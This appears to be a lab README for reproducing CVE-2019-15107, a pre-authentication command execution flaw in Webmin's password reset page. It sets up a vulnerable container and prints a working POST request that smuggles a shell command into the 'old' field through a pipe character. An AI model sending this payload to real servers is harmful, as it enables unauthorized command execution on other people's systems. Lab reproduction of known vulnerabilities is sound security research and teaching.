Aaron
63285f61aa
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46 lines
1.5 KiB
Markdown
46 lines
1.5 KiB
Markdown
# Webmin Pre-Auth Remote Code Execution (CVE-2019-15107)
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[中文版本(Chinese version)](README.zh-cn.md)
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Webmin is a web-based system configuration tool for Unix-like systems. The vulnerability exists in the password reset page, which allows unauthenticated users to execute arbitrary commands through a simple POST request.
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Referrers:
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- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
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- https://www.exploit-db.com/exploits/47230
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- https://blog.firosolutions.com/exploits/webmin/
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## Start Vulnerability Application
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Start a vulnerable Webmin 1.910 through following command:
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```
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docker compose up -d
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```
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After the environment is started, you can see the login page of Webmin at `https://your-ip:10000`.
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## Vulnerability Reproduce
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The payload of the reference links is incomplete. After reading the code in depth, I found that command can be executed only if the user parameter of the body doesn't exist before 1.920, upon 1.920, no limit.
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In short, sending a following POST request to execute command `id`:
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```
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POST /password_change.cgi HTTP/1.1
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Host: your-ip:10000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Cookie: redirect=1; testing=1; sid=x; sessiontest=1
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Referer: https://your-ip:10000/session_login.cgi
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 60
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user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
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```
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